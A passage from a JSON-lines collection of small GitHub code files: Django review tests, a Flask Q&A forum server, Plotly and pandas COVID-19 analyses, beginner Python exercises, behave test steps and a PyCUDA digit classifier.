test_ok(self):\n set_rating(self.course)\n self.course.refresh_from_db()\n self.assertEqual('4.00', str(self.course.rating))\n\n def test_get(self):\n url = reverse('review-list')\n self.client.force_authenticate(user=self.user2)\n response = self.client.get(url)\n # print('+++++++++++++++++++++++++++++++++')\n # print(self.serializer_data,)\n # print(response.data[0][0])\n # print(response)\n #\n # self.assertEqual(Review.objects.filter(user=self.user2).get(self.user2), self.user2)\n self.assertEqual(Review.objects.all().count(), len(self.serializer_data))\n self.assertEqual(status.HTTP_200_OK, response.status_code)\n\n def test_post(self):\n url = reverse('review-list')\n authenticated_user = self.client.force_authenticate(user=self.user2)\n data = {\n 'id': 3,\n 'course': self.course.id,\n 'user': authenticated_user,\n 'description': 'posttest',\n 'rating': 4\n }\n json_data = json.dumps(data)\n response = self.client.post(url, json_data, content_type='application/json')\n self.assertEqual(status.HTTP_201_CREATED, response.status_code)\n self.assertEqual(Review.objects.all().count(), 3)\n\n def test_invalid_post_without_authentication(self):\n url = reverse('review-list')\n data = {\n 'id': 3,\n 'course': self.course.id,\n 'user': self.user.id,\n 'description': 'posttest',\n 'rating': 4\n }\n json_data = json.dumps(data)\n response = self.client.post(url, json_data, content_type='application/json')\n self.assertEqual(status.HTTP_401_UNAUTHORIZED, response.status_code)\n self.assertEqual(Review.objects.all().count(), 2)\n\n def test_invalid_rating_post(self):\n url = reverse('review-list')\n authenticated_user = self.client.force_authenticate(user=self.user2)\n data = {\n 'id': 3,\n 'course': self.course.id,\n 'user': authenticated_user,\n 'description': 'posttest',\n 'rating': 6\n }\n json_data = json.dumps(data)\n response = self.client.post(url, json_data, content_type='application/json')\n self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code)\n self.assertEqual(Review.objects.all().count(), 2)\n\n # def test_update(self):\n # url = reverse('review-detail', args=(self.review1.id,))\n # print(url)\n # self.client.force_authenticate(user=self.user2)\n # data = {\n # 'id': 3,\n # 'course': self.course.id,\n # 'user': self.user2,\n # 'description': 'update test',\n # 'rating': 3\n # }\n # response = self.client.put(url, data,)\n # self.assertEqual(status.HTTP_200_OK, response.status_code)\n #\n\n # def test_delete(self):\n # url = reverse('review-detail', args=(self.review1.id,))\n #\n #\n","repo_name":"askerovvvv/Tutorial-Django","sub_path":"course/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":9752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"32135357470","text":"#Faça um programa que leia a largura e a latura de uma parede\n#em metros, calcule a quantidade de tinta necessária, sabendo que cada\n#litro de tinda pinta uma área de 2m2\n\nh = float(input('Digite a altura: '))\nl = float(input('Digite a largura: '))\na = h * l\nqt = a//2\n\nprint('A área a ser pintada é {:.2f} e a quantidade de tinta necessária é {}'.format(a, qt))\n","repo_name":"biavago/python-learning","sub_path":"ex007.py","file_name":"ex007.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29137556779","text":"from chatterbot import ChatBot\nfrom chatterbot.trainers import ChatterBotCorpusTrainer\n\nchatbot = ChatBot('Yeetie')\n\n# Create a new trainer for the chatbot\ntrainer = ChatterBotCorpusTrainer(chatbot)\n\n# Train the chatbot based on the english corpus\ntrainer.train(\"chatterbot.corpus.english\")\ntrainer.train(\"chatterbot.corpus.custom\")\n\n# Get a response to an input statement\nchatbot.get_response(\"Hello, how are you today?\")\nprint(\"-------------------------------------------------------------\")\nrun=1\n\nwhile run==1:\n\trequest = input('You: ')\n\tresponse = chatbot.get_response(request)\n\n\tprint('Yeetie: ', response)\n\n\n","repo_name":"vishi06/kAREN","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72160257443","text":"from flask import Flask, session, render_template, redirect, request, url_for\n\nimport data_manager\nimport utils\nimport os\n\napp = Flask(__name__)\napp.secret_key = os.urandom(16)\n\n\n@app.route(\"/style-mode\")\ndef style_mode():\n if \"style_mode\" not in session:\n session.update({\"style_mode\": \"day\"})\n background_color, font_color = utils.get_style(session[\"style_mode\"])\n\n if request.args and \"style_mode\" in request.args:\n session.update({\"style_mode\": request.args[\"style_mode\"]})\n if \"search\" in request.args[\"page\"]:\n return redirect(url_for(\"search\", q=session[\"q\"]))\n\n return redirect(request.args[\"page\"])\n\n return background_color, font_color\n\n\n@app.route(\"/\")\n@app.route(\"/list\")\ndef index():\n all_questions = utils.update_to_pretty_time(\n utils.get_formatted_dicts(data_manager.get_all_questions())\n )\n background_color, font_color = style_mode()\n\n if request.args:\n all_questions = utils.get_formatted_dicts(\n data_manager.get_all_questions(\n request.args[\"order_by\"], request.args[\"order_direction\"]\n )\n )\n\n return render_template(\n \"index.html\",\n all_questions=all_questions\n if \"list\" in request.base_url\n else all_questions[:5],\n background_color=background_color,\n font_color=font_color,\n count_question_answers=data_manager.count_question_answers,\n session=session,\n has_question_privilege=utils.has_question_privilege,\n question_tags=data_manager.get_question_tags,\n username=utils.get_username(session),\n current_user_id=utils.get_current_user_id(session),\n owner_user_name=data_manager.get_user_name_by_user_id,\n )\n\n\n@app.route(\"/users\")\ndef users_page():\n background_color, font_color = style_mode()\n day, night = utils.get_table_page_style(session.get(\"style_mode\"))\n users_table = data_manager.get_users_table()\n\n return render_template(\n \"users.html\",\n users_table=users_table,\n background_color=background_color,\n page_title=\"Users page\",\n username=utils.get_username(session),\n current_user_id=utils.get_current_user_id(session),\n day=day,\n night=night,\n )\n\n\n@app.route(\"/user/\")\ndef user_page(user_id):\n background_color, font_color = style_mode()\n day, night = utils.get_table_page_style(session.get(\"style_mode\"))\n users_table = data_manager.get_users_table()\n user_details = [user for user in users_table if user[\"id\"] == user_id][0]\n user_questions = data_manager.get_user_questions(user_id)\n user_answers = data_manager.get_user_answers(user_id)\n user_comments = data_manager.get_user_comments(user_id)\n\n return render_template(\n \"users.html\",\n users_table=users_table,\n background_color=background_color,\n day=day,\n night=night,\n page_title=f\"User {user_id} page\",\n user_id=user_id,\n user_details=user_details,\n username=utils.get_username(session),\n current_user_id=utils.get_current_user_id(session),\n user_questions=user_questions,\n user_answers=user_answers,\n user_comments=user_comments,\n question_accepted_answers=data_manager.get_accepted_status_by_question_id,\n is_question_solved=utils.get_keys,\n question_id=data_manager.get_question_id_by_answer_id,\n )\n\n\n@app.route(\"/tags\")\n@app.route(\"/tags/\")\ndef tag_list(selected_tag=None):\n background_color, font_color = style_mode()\n day, night = utils.get_table_page_style(session.get(\"style_mode\"))\n tags = data_manager.get_all_tags()\n get_questions_by_tag = data_manager.get_questions_by_tag\n\n return render_template(\n \"tag_list.html\",\n tags=tags,\n get_questions_by_tag=get_questions_by_tag,\n selected_tag=selected_tag,\n background_color=background_color,\n day=day,\n night=night,\n username=utils.get_username(session),\n current_user_id=utils.get_current_user_id(session),\n question_accepted_answers=data_manager.get_accepted_status_by_question_id,\n is_question_solved=utils.get_keys,\n )\n\n\n@app.route(\"/sign-up\", methods=[\"GET\", \"POST\"])\ndef sign_up():\n background_color, font_color = style_mode()\n already_register_email = False\n user_name_taken = False\n if request.form:\n if utils.is_email_already_register(request):\n already_register_email = True\n elif utils.is_username_taken(request):\n user_name_taken = True\n else:\n utils.add_user(request)\n return redirect(\"/\")\n\n return render_template(\n \"form.html\",\n background_color=background_color,\n font_color=font_color,\n page=\"sign-up\",\n action=\"sign_up\",\n already_register_email=already_register_email,\n user_name_taken=user_name_taken,\n )\n\n\n@app.route(\"/sign-in\", methods=[\"GET\", \"POST\"])\ndef sign_in():\n background_color, font_color = style_mode()\n invalid_credentials = False\n\n if request.form:\n if utils.are_valid_credentials(request):\n session.update({\"email\": request.form[\"email\"]})\n return redirect(\"/\")\n else:\n invalid_credentials = True\n\n return render_template(\n \"form.html\",\n background_color=background_color,\n font_color=font_color,\n page=\"sign-in\",\n action=\"sign_in\",\n invalid_credentials=invalid_credentials,\n )\n\n\n@app.route(\"/sign-out\")\ndef sign_out():\n session.pop(\"email\", None)\n return redirect(\"/\")\n\n\n@app.route(\"/search\")\ndef search():\n background_color, font_color = style_mode()\n questions = utils.update_to_pretty_time(\n data_manager.get_questions_with_phrase(request.values.get(\"q\"))\n )\n question_ids = tuple([q[\"id\"] for q in questions])\n answers = utils.update_to_pretty_time(\n data_manager.get_answers_with_message_by_question_ids(\n question_ids, request.values.get(\"q\")\n )\n )\n if request.args:\n session.update({\"q\": request.args[\"q\"]})\n\n return render_template(\n \"index.html\",\n answers=answers,\n all_questions=questions,\n background_color=background_color,\n font_color=font_color,\n phrase=request.values.get(\"q\"),\n count_question_answers=data_manager.count_question_answers,\n session=session,\n has_question_privilege=utils.has_question_privilege,\n question_tags=data_manager.get_question_tags,\n username=utils.get_username(session),\n current_user_id=utils.get_current_user_id(session),\n owner_user_name=data_manager.get_user_name_by_user_id,\n )\n\n\n@app.route(\"/question/\")\ndef question_page(question_id):\n background_color, font_color = style_mode()\n data_manager.update_views(question_id) if request.method == \"GET\" else None\n question = utils.get_formatted_dict(data_manager.get_question(question_id))\n question.update(\n {\"submission_time\": utils.get_pretty_time(question[\"submission_time\"])}\n )\n question_comments = utils.update_to_pretty_time(\n utils.get_formatted_dicts(data_manager.get_question_comments(question_id))\n )\n answers = utils.update_to_pretty_time(\n utils.get_formatted_dicts(data_manager.get_answers_by_question_id(question_id))\n )\n\n return render_template(\n \"question_display.html\",\n question=question,\n answers=answers,\n question_comments=question_comments,\n answer_comments=data_manager.get_answer_comments,\n question_tags=data_manager.get_question_tags(question_id),\n background_color=background_color,\n font_color=font_color,\n session=session,\n has_question_privilege=utils.has_question_privilege(session, question_id),\n has_answer_privilege=utils.has_answer_privilege,\n has_comment_privilege=utils.has_comment_privilege,\n username=utils.get_username(session),\n current_user_id=utils.get_current_user_id(session),\n update_answers_comments=utils.update_to_pretty_time,\n owner_user_name=data_manager.get_user_name_by_user_id,\n )\n\n\n@app.route(\"//delete\")\ndef delete_form(page):\n redirect_page = utils.delete_and_redirect(page)\n return redirect(redirect_page)\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef add_form(page):\n if \"email\" not in session:\n return redirect(url_for(\"sign_in\"))\n\n background_color, font_color = style_mode()\n page_id = utils.get_page_id(page)\n all_tags, question_tags, question_tags_string = None, None, None\n\n if page.endswith(\"new-tag\"):\n all_tags, question_tags, question_tags_string = utils.get_tags(page_id)\n\n if request.form:\n redirect_page = utils.add_and_redirect(page, request, session.get(\"email\"))\n return redirect(redirect_page)\n\n return render_template(\n \"form.html\",\n background_color=background_color,\n font_color=font_color,\n page=page,\n action=\"add_form\",\n tags=all_tags,\n question_tags=question_tags_string,\n username=utils.get_username(session),\n current_user_id=utils.get_current_user_id(session),\n )\n\n\n@app.route(\"//edit\", methods=[\"GET\", \"POST\"])\ndef edit_form(page):\n page_id = utils.get_page_id(page)\n background_color, font_color = style_mode()\n\n if request.form:\n redirect_page = utils.edit_and_redirect(page, request)\n return redirect(redirect_page)\n\n return render_template(\n \"form.html\",\n background_color=background_color,\n font_color=font_color,\n page=page,\n selected_question=data_manager.get_question(page_id),\n message=data_manager.get_answer_message(page_id)\n if \"answer\" in page\n else data_manager.get_comment_message(page_id),\n action=\"edit_form\",\n username=utils.get_username(session),\n current_user_id=utils.get_current_user_id(session),\n )\n\n\n@app.route(\"/vote/\")\ndef vote():\n if \"email\" not in session:\n return redirect(url_for(\"sign_in\"))\n idx, value, page, answer = (\n request.values.get(\"id\"),\n request.values.get(\"value\"),\n request.values.get(\"page\"),\n request.values.get(\"answer\"),\n )\n if not answer:\n utils.vote_question(idx, value, session)\n return redirect(f\"{page}#{idx}\")\n\n utils.vote_answer(idx, value, session)\n return redirect(f\"{page}#{idx}\" if answer else page)\n\n\n@app.route(\"/accepted-status\")\ndef accepted_status():\n idx, status, question_id = (\n request.values.get(\"id\"),\n bool(int(request.values.get(\"status\"))),\n request.values.get(\"question_id\"),\n )\n answer_owner_id = data_manager.get_user_id_by_answer_id(idx).get(\"user_id\")\n\n data_manager.update_accepted_status(idx, status)\n data_manager.update_reputation(answer_owner_id, 15 if status else -15)\n\n return redirect(f\"/question/{question_id}#{idx}\")\n\n\nif __name__ == \"__main__\":\n app.config[\"UPLOAD_FOLDER\"] = \"/static/images\"\n app.run(debug=True)\n","repo_name":"AlexMoraru97/AskMate","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":11148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18577294728","text":"# storing and analysis\nimport pandas as pd\n\n# visualization\nimport plotly.graph_objs as go\nimport plotly.express as px\nimport plotly\n\n# hide warnings\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\n# read csv file\ntable = pd.read_csv(\"https://api.covid19india.org/csv/latest/state_wise.csv\")\ntable.drop(table.index[0], inplace=True)\n# print(\"\\ntable columns\\n\", table.columns)\ntable.sort_values(by='Confirmed', inplace=True, ascending=False)\n# print(\"\\ntable\\n\", table.head())\n\ntable['Active Cases'] = table['Confirmed'] - table['Deaths'] - table['Recovered']\ntable['Recovered Rate'] = round((table['Recovered'] * 100) / table['Confirmed'], 2)\ntable['Death Rate'] = round((table['Deaths'] * 100) / table['Confirmed'], 2)\ntable['Active Cases Rate'] = round((table['Active Cases'] * 100) / table['Confirmed'], 2)\n\n# bar graph(top 16 state with most confirmed cases)\nx = table['State'][:16]\n\nfig = go.Figure()\nfig.add_trace(go.Bar(x=x, y=table['Confirmed'], name='Confirmed', marker_color='slateblue'))\nfig.add_trace(go.Bar(x=x, y=table['Recovered'], name='Recovered', marker_color='mediumseagreen'))\nfig.add_trace(go.Bar(x=x, y=table['Deaths'], name='Deaths', marker_color='firebrick'))\nfig.update_layout(barmode='overlay', title='Statewise cases in India', height=400, showlegend=False)\nfig.update_xaxes(tickangle=-45)\n\nfig.update_layout(\n updatemenus=[\n dict(\n type=\"buttons\",\n direction=\"left\",\n buttons=list([\n dict(\n args=[{\"visible\": [True, True, True]}],\n label=\"All\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [True, False, False]}],\n label=\"Confirmed\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [False, True, False]}],\n label=\"Recovered\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [False, False, True]}],\n label=\"Deaths\",\n method=\"update\"\n )\n ]),\n pad={\"r\": 10, \"t\": 10},\n showactive=True,\n x=0.005,\n xanchor=\"left\",\n y=1.23,\n yanchor=\"top\"\n ),\n ]\n)\n\nplotly.offline.plot(fig, include_plotlyjs=False, filename='exported/state wise cases in india.html', auto_open=False)\n\n# bar graph(state wise death and recovery rate)\nx = table['State'][:16]\n\nfig = go.Figure()\n\nfig.add_trace(go.Scatter(x=x, y=table['Active Cases Rate'], name='Active Cases Rate',\n line=dict(color='slateblue', width=2),\n line_shape='spline'))\nfig.add_trace(go.Scatter(x=x, y=table['Death Rate'], name='Death Rate',\n line=dict(color='firebrick', width=2),\n line_shape='spline'))\nfig.add_trace(go.Scatter(x=x, y=table['Recovered Rate'], name='Recovered Rate',\n line=dict(color='mediumseagreen', width=2),\n line_shape='spline'))\n\nfig.update_layout(title='State wise death and recovered rate', height=400, showlegend=False)\n\nfig.update_layout(\n updatemenus=[\n dict(\n type=\"buttons\",\n direction=\"left\",\n buttons=list([\n dict(\n args=[{\"visible\": [True, True, True]}],\n label=\"All\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [False, False, True]}],\n label=\"Recoverey rate\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [False, True, False]}],\n label=\"Death rate\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [True, False, False]}],\n label=\"Active cases rate\",\n method=\"update\"\n )\n ]),\n pad={\"r\": 10, \"t\": 10},\n showactive=True,\n x=0.005,\n xanchor=\"left\",\n y=1.23,\n yanchor=\"top\"\n ),\n ]\n)\n\nfig.update_xaxes(tickangle=-45)\nplotly.offline.plot(fig, include_plotlyjs=False, filename='exported/state wise death and recovery rate.html',\n auto_open=False)\n\n# pie chart\nfig = px.pie(table, values='Confirmed', names='State', title='State wise percentage of confirmed cases in india', height=400,\n hole=.2, color_discrete_sequence=px.colors.sequential.RdBu)\nfig.update_traces(textposition='inside')\nfig.update_layout(uniformtext_minsize=8, uniformtext_mode='hide')\nplotly.offline.plot(fig, include_plotlyjs=False, filename='exported/State wise confirmed cases in india.html',\n auto_open=False)\n\n# pie chart\nstate_district = pd.read_csv(\"https://api.covid19india.org/csv/latest/district_wise.csv\")\nstate_district.drop(['State_Code', 'SlNo', 'District_Notes', 'Last_Updated', 'Delta_Deceased', 'Delta_Recovered',\n 'Delta_Active', 'Delta_Confirmed', 'District_Key'], axis=1, inplace=True)\ngujarat = state_district[state_district['State'] == 'Gujarat'].sort_values(by='Confirmed', ascending=False).head(15)\n\nfig = px.pie(state_district, values=gujarat['Confirmed'],\n names=gujarat['District'],\n color_discrete_sequence=px.colors.sequential.RdBu,\n title='District wise confirmed cases in Gujarat')\nfig.update_traces(textposition='inside')\nfig.update_layout(uniformtext_minsize=8, uniformtext_mode='hide')\nplotly.offline.plot(fig, include_plotlyjs=False, filename='exported/District wise confirmed cases in Gujarat.html',\n auto_open=False)\n\n\n\nfig = go.Figure()\nx = gujarat['District']\nfig.add_trace(go.Bar(x=x, y=gujarat['Active'],\n name='Active cases', marker_color='slateblue'))\nfig.add_trace(go.Bar(x=x, y=gujarat['Recovered'],\n name='Recovered', marker_color='mediumseagreen'))\nfig.add_trace(go.Bar(x=x, y=gujarat['Deceased'],\n name='Deaths', marker_color='firebrick'))\n\nfig.update_layout(\n updatemenus=[\n dict(\n type=\"buttons\",\n direction=\"left\",\n buttons=list([\n dict(\n args=[{\"visible\": [True, True, True]}],\n label=\"All\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [True, False, False]}],\n label=\"Active cases\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [False, True, False]}],\n label=\"Recovered\",\n method=\"update\"\n ),\n dict(\n args=[{\"visible\": [False, False, True]}],\n label=\"Deaths\",\n method=\"update\"\n )\n ]),\n pad={\"r\": 10, \"t\": 10},\n showactive=True,\n x=0.005,\n xanchor=\"left\",\n y=1.20,\n yanchor=\"top\"\n ),\n ]\n)\n\nfig.update_layout(title='Numbers in different district of Gujarat',\n barmode='overlay', height=400, showlegend=False)\nfig.update_xaxes(tickangle=-45)\nplotly.offline.plot(fig, include_plotlyjs=False, filename='exported/Numbers in different district of Gujarat.html', auto_open=False)\nprint(\"successfully statewise_cases.py\")","repo_name":"zalak30/covid-analysis","sub_path":"statewise_cases.py","file_name":"statewise_cases.py","file_ext":"py","file_size_in_byte":7593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9960686659","text":"import pandas as pd\r\nimport json\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom collections import Counter\r\nimport numpy\r\n\r\n#affichage de toutes les données au total et par jour et convertit au format json\r\ndef openfile(filename):\r\n dataset= pd.read_csv(filename, sep = \";\", na_filter=False)\r\n #on met un filtre pour ne retenir que les variables hosp, rea, dc et rad au total\r\n dataset2 = dataset[dataset['sexe'].isin([0])] \r\n # on somme en regroupant les jours\r\n d = dataset2.groupby(\"jour\").sum()\r\n #conversion au format json\r\n data = d.to_json()\r\n return(data)\r\n\r\n#affichage de la moyenne des variables hosp, rea, rad et dc par sexe et convertir au format json\r\ndef openfile3(filename):\r\n dataset= pd.read_csv(filename, sep = \";\", na_filter=False)\r\n d3 = dataset.groupby(\"sexe\").mean()\r\n data3 = d3.to_json()\r\n return(data3)\r\n\r\n#Affichage des variables hosp, rad, rea et dc pour le département du finistere\r\ndef openfile4(filename):\r\n dataset= pd.read_csv(filename, sep = \";\", na_filter=False)\r\n dep1 = dataset.loc[dataset.dep.isin(['29']), ['dep', 'jour','hosp','rea', 'rad', 'dc']]\r\n dep2 = dep1.groupby(\"dep\").sum()\r\n data4 = dep2.to_json()\r\n return(data4)\r\n\r\n\r\ndef openfile5(filename):\r\n dataset= pd.read_csv(filename, sep = \";\", na_filter=False)\r\n dataset2 = dataset[dataset['sexe'].isin([0])]\r\n dataset3 = dataset2.groupby(\"dep\").sum()\r\n data5 = dataset3.to_json()\r\n return(data5)\r\n\r\ndef openfile6(filename):\r\n dataset= pd.read_csv(filename, sep = \";\", na_filter=False)\r\n a = dataset.groupby(\"sexe\").sum()\r\n dataset2 = (a['rea']/a['hosp'])*100 \r\n\r\n data6 = dataset2.to_json()\r\n return(data6)\r\n\r\n\r\n\r\n\r\n#permet de lire le fichier json \r\n#datajson = json.loads(data)\r\n#encodage\r\n#print(json.dumps(datajson))\r\n\r\n\r\n\r\n\r\n\r\n ","repo_name":"ckarfa21/dash-board-covid-19","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"44869128699","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n\tThis program is made as the other half of the solution to activity 2 of the\n\t6th assignment of IN1000 at UiO, fall 2019.\n\"\"\"\n__author__ = \"Rolf Vidar Hoksaas\"\n__email__ = \"rolferen@gmail.com\"\n__date__ = \"3rd October 2019\"\n\n# Activity 2.5\nfrom motorsykkel import Motorsykkel as MC\n\ndef hovedprosedyre():\n\t# Activity 2.6\n\tmy_mc0 = MC(brand=\"Harley Davidson\", reg_number=\"X123456Y\", start_x=0)\n\tmy_mc1 = MC(brand=\"Harley Davidfather\", reg_number=\"X123457A\", start_x=10)\n\tmy_mc2 = MC(brand=\"Harley Davidholy-spirit\", reg_number=\"X123458F\", start_x=3000)\n\n\tfor bike in [my_mc0, my_mc1, my_mc2]:\n\t\tbike.skrivUt()\n\t\tprint()\n\n\t# Activity 2.7\n\tmy_mc2.kjor(50)\n\tprint(my_mc2.hentKilometerstand())\n\n\nif __name__ == '__main__':\n\thovedprosedyre() # Activity 2.8","repo_name":"mazunki/uio","sub_path":"IN1000/oblig6/testMotorsykkel.py","file_name":"testMotorsykkel.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"71198340002","text":"from behave import given, when, then\nfrom klickbrick_cli import klickbrick\nfrom io import StringIO\n\nimport os.path\nimport sys\n\nCHECKLIST_FILE = \"checklist.md\"\n\n\n@given(\"the command\")\ndef step_impl(context):\n sys.stdout = StringIO()\n\n\n@given(\"markdown file is absent\")\ndef check_for_absent_file(context):\n if os.path.exists(CHECKLIST_FILE):\n os.remove(\"checklist.md\")\n assert not os.path.isfile(CHECKLIST_FILE)\n\n\n@when(\"passed the checklist parameter\")\ndef run_klickbrick_application(context):\n context.output = klickbrick.run([\"onboard\", \"--checklist\"])\n\n\n@then(\"a markdown file is created\")\ndef check_for_file(context):\n print(context.output)\n assert os.path.isfile(CHECKLIST_FILE)\n","repo_name":"Leviter/klickbrick-cli","sub_path":"features/steps/checklist.py","file_name":"checklist.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1210514912","text":"import collections\ndef groupAnagrams(strs):\n\n # 1. O(n) 한 번 돌면서 원형을 정렬하지 말고 반환된 정렬한것으로 비교해서 그걸 키로 만들고 안에\n # 값으로 다 넣기\n # 2. 딕셔너리의 값들로 이차원 배열 만들어서 리턴하기 -> 96 ms 걸림\n # anagrams = {}\n # for s in strs:\n # new = ''.join(sorted(s))\n # if new not in anagrams.keys():\n # anagrams[new] = []\n # anagrams[new].append(s)\n\n # 더 간단한 풀이\n anagrams = collections.defaultdict(list)\n for word in strs:\n anagrams[''.join(sorted(word))].append(word)\n return anagrams.values()\nprint(groupAnagrams([\"eat\",\"tea\",\"tan\",\"ate\",\"nat\",\"bat\"]))\n","repo_name":"angelatto/Algorithm","sub_path":"LeetCode/49.py","file_name":"49.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42184056907","text":"import pycuda.autoinit\nimport pycuda.driver as cuda\nfrom pycuda import gpuarray\nimport numpy as np\nimport csv\nfrom pycuda.compiler import SourceModule\n################KERNELS####################\nfrom cudaFunctions import multiply_them, accumulate, scale, subtract, \\\n accumulateCovs, extractInvDiag, shift, square, dot, cudaMax\n###########################################\nNUM_CLASSES = 10\nWARPS_PER_BLOCK=4\nSAMPLE_BLOCK = (28,1,1)\nSAMPLE_GRID = (28,1)\nVECTOR_LEN = 784\nNUM_TEST_EXAMPLES = 28000\nCOV_GRID = (VECTOR_LEN,1)\nCOV_BLOCK = (VECTOR_LEN,1,1)\ntrainingData = 'data/train.csv'\ntestData = 'data/test.csv'\n\ndef checkParams(cudaMeans,cudaCovs,trainSamples,trainLabels,cudaPrecision,streams):\n npMeans = np.zeros((NUM_CLASSES,len(trainSamples[0])),dtype=np.float32)\n counts = np.array([0 for _ in range(NUM_CLASSES)],dtype=np.float32)\n #calclate means here\n for s,l in zip(trainSamples,trainLabels):\n npMeans[l]+=s\n counts[l]+=1\n for i in range(NUM_CLASSES):\n npMeans[i] /= counts[i]\n correct = True\n means = []\n for i in range(NUM_CLASSES):\n means.append(cudaMeans[i].get_async(stream=streams[i]))\n for c,m in zip(means,npMeans):\n if(np.linalg.norm(m-c)/np.linalg.norm(m) > .0001):\n break\n correct = False\n if not correct:\n print(\"ERROR - MEANS\")\n return\n\n\n npData = [[] for _ in range(NUM_CLASSES)]\n for s,l in zip(trainSamples,trainLabels):\n npData[l].append(s)\n\n npCov = []\n for i in range(NUM_CLASSES):\n npCov.append(np.cov(np.transpose(npData[i])))\n\n covs = []\n for i in range(NUM_CLASSES):\n covs.append(cudaCovs[i].get_async(stream=streams[i]))\n\n for c,m in zip(covs,npCov):\n if (np.linalg.norm(m-c)/np.linalg.norm(m) > .001):\n break\n correct = False\n\n if not correct:\n print(\"ERROR - COVS\")\n\n prec = []\n for i in range(NUM_CLASSES):\n prec.append(cudaPrecision[i].get_async(stream=streams[i]))\n\n npPrec = [-1*np.ones(VECTOR_LEN,dtype=np.float32) for _ in range(NUM_CLASSES)]\n\n for i in range(NUM_CLASSES):\n for j in range(VECTOR_LEN):\n if not npCov[i][j][j] == 0:\n npPrec[i][j] = 1/npCov[i][j][j]\n\n for c,m in zip(prec,npPrec):\n if (np.linalg.norm(m-c)/np.linalg.norm(m) > .001):\n break\n correct = False\n\n if not correct:\n print(\"ERROR - PRECISION\")\n\n\n\n\ndef readData():\n with open(trainingData,'r') as fin:\n it = csv.reader(fin,delimiter=',')\n #skip first one\n next(it)\n\n train = [row for row in it]\n trainLabels = np.array([row[0] for row in train],dtype=np.int32)\n trainSamples = np.array([row[1:] for row in train],dtype=np.float32)\n train = (trainLabels,trainSamples)\n\n with open(testData,'r') as fin:\n it = csv.reader(fin,delimiter=',')\n next(it)\n\n test = [row for row in it]\n testLabels = np.array([row[0] for row in test],dtype=np.int32)\n testSamples = np.array([row[1:] for row in test],dtype=np.float32)\n test = (testLabels,testSamples)\n\n return (train,test)\n\ndef computeParams(streams,rets,vectors,scalars,trainLabels):\n #create streams, one per class is a natural way to partition\n for i in range(len(trainLabels)):\n accumulate(rets[trainLabels[i]],vectors[i],block=SAMPLE_BLOCK,grid=SAMPLE_GRID,stream=streams[trainLabels[i]])\n\n #now, normalize the output\n for i in range(NUM_CLASSES): \n scale(rets[i],scalars[i],block=SAMPLE_BLOCK,grid=SAMPLE_GRID,stream=streams[i])\n\n\n #now we will shift the vectors for cov\n for i in range(len(trainLabels)):\n subtract(vectors[i],rets[trainLabels[i]],block=SAMPLE_BLOCK,grid=SAMPLE_GRID,stream=streams[trainLabels[i]])\n\n #allocate covs here \n cudaCovs = []\n for i in range(NUM_CLASSES):\n cudaCovs.append(gpuarray.to_gpu_async(np.zeros((VECTOR_LEN,VECTOR_LEN),dtype=np.float32),stream=streams[i]))\n\n for i in range(len(trainLabels)):\n accumulateCovs(cudaCovs[trainLabels[i]],vectors[i],block=COV_BLOCK,grid=COV_GRID,stream=streams[trainLabels[i]])\n \n for i in range(NUM_CLASSES):\n scale(cudaCovs[i],scalars[i],block=COV_BLOCK,grid=COV_GRID,stream=streams[i])\n\n\n return cudaCovs, rets \n \ndef InitCovsGPU(streams=None):\n assert not streams==None\n \n cudaCovs = []\n for i in range(NUM_CLASSES):\n cudaCovs.append(gpuarray.to_gpu_async(np.zeros((VECTOR_LEN,VECTOR_LEN),dtype=np.float32),stream=streams[i]))\n \n return cudaCovs\n\n\ndef sendDataToGPU(samples,labels,streams=None,train=True):\n #create streams\n if streams==None:\n streams = []\n for _ in range(NUM_CLASSES):\n streams.append(cuda.Stream())\n\n\n vectors = [] \n count = np.array([[0] for _ in range(NUM_CLASSES)],dtype=np.float32)\n for s,l in zip(samples,labels):\n vectors.append(gpuarray.to_gpu_async(s,stream=streams[l]))\n count[l]+=1\n if train:\n means = []\n scalars = []\n for i in range(NUM_CLASSES):\n count[i] = 1/count[i]\n scalars.append(gpuarray.to_gpu_async(count[i],stream=streams[i]))\n means.append(gpuarray.to_gpu_async(np.zeros_like(samples[0]),stream=streams[i]))\n return (streams,means,vectors,scalars)\n else:\n return streams,vectors\n\ndef getPrecision(covs,streams):\n gpuarray\n precision = []\n for i in range(NUM_CLASSES):\n precision.append(gpuarray.to_gpu_async(-1*np.ones(VECTOR_LEN),stream=streams[i]))\n 